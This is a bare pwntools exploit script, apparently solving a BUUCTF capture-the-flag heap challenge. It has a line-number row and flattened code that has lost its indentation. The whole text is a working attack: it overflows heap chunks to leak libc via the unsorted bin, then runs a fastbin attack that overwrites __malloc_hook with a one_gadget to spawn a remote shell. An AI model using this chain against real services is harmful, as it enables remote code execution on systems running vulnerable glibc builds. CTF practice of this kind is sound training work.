1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112
| from pwn import * def bug(): gdb.attach(p) pause()
def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
sd = lambda data : p.send(data) sa = lambda text,data :p.sendafter(text, data) sl = lambda data :p.sendline(data) sla = lambda text,data :p.sendlineafter(text, data) rc = lambda num=4096 :p.recv(num) ru = lambda text :p.recvuntil(text) rl = lambda :p.recvline() pr = lambda num=4096 :print(p.recv(num)) ia = lambda :p.interactive() l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00')) uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00')) int16 = lambda data :int(data,16) lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
context(arch = "amd64",os = "linux",log_level = "debug")
context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] file = "./pwn" libc = "/home/pwn/Desktop/buuctf/libc/64bits/libc-2.23.so"
elf = ELF(file) libc = ELF(libc) p = remote("node5.buuoj.cn",25292)
def choice(idx): sla("Command: ",str(idx))
def add(size): choice(1) sla("Size: ",str(size))
def fill(idx,content='a'): choice(2) sla("dex: ",str(idx)) sla("Size: ",str(len(content))) sla("Content: ",content)
def free(idx): choice(3) sla("dex: ",str(idx))
def show(idx): choice(4) sla("dex: ",str(idx)) ru("Content: \n") one = [0x45216,0x4526a,0xf02a4,0xf1147]
add(0x10) add(0x10) add(0x10) add(0x10) add(0x80) free(2) free(1)
payload = cyclic(0x10) + p64(0) + p64(0x21) + p8(0x80) fill(0,payload)
payload = cyclic(0x10) + p64(0) + p64(0x21) fill(3,payload)
add(0x10) add(0x10)
payload = cyclic(0x10) + p64(0) + p64(0x91) fill(3,payload)
add(0x10) free(4) show(2)
main_arena = u64(p.recvn(6)+b'\x00\x00') - 0x10 lg("main_arena: ",main_arena) malloc_hook = main_arena - 0x58 libc.address = malloc_hook - libc.sym['__malloc_hook'] realloc = libc.sym['realloc']
add(0x60) free(4)
fake_chunk = malloc_hook - 0x23 fill(2,p64(fake_chunk))
add(0x60)
add(0x60) onegadget = libc.address + one[1] payload = cyclic(0xb)+p64(onegadget) + p64(realloc+10) fill(6,payload)
add(0x10)
p.interactive()
|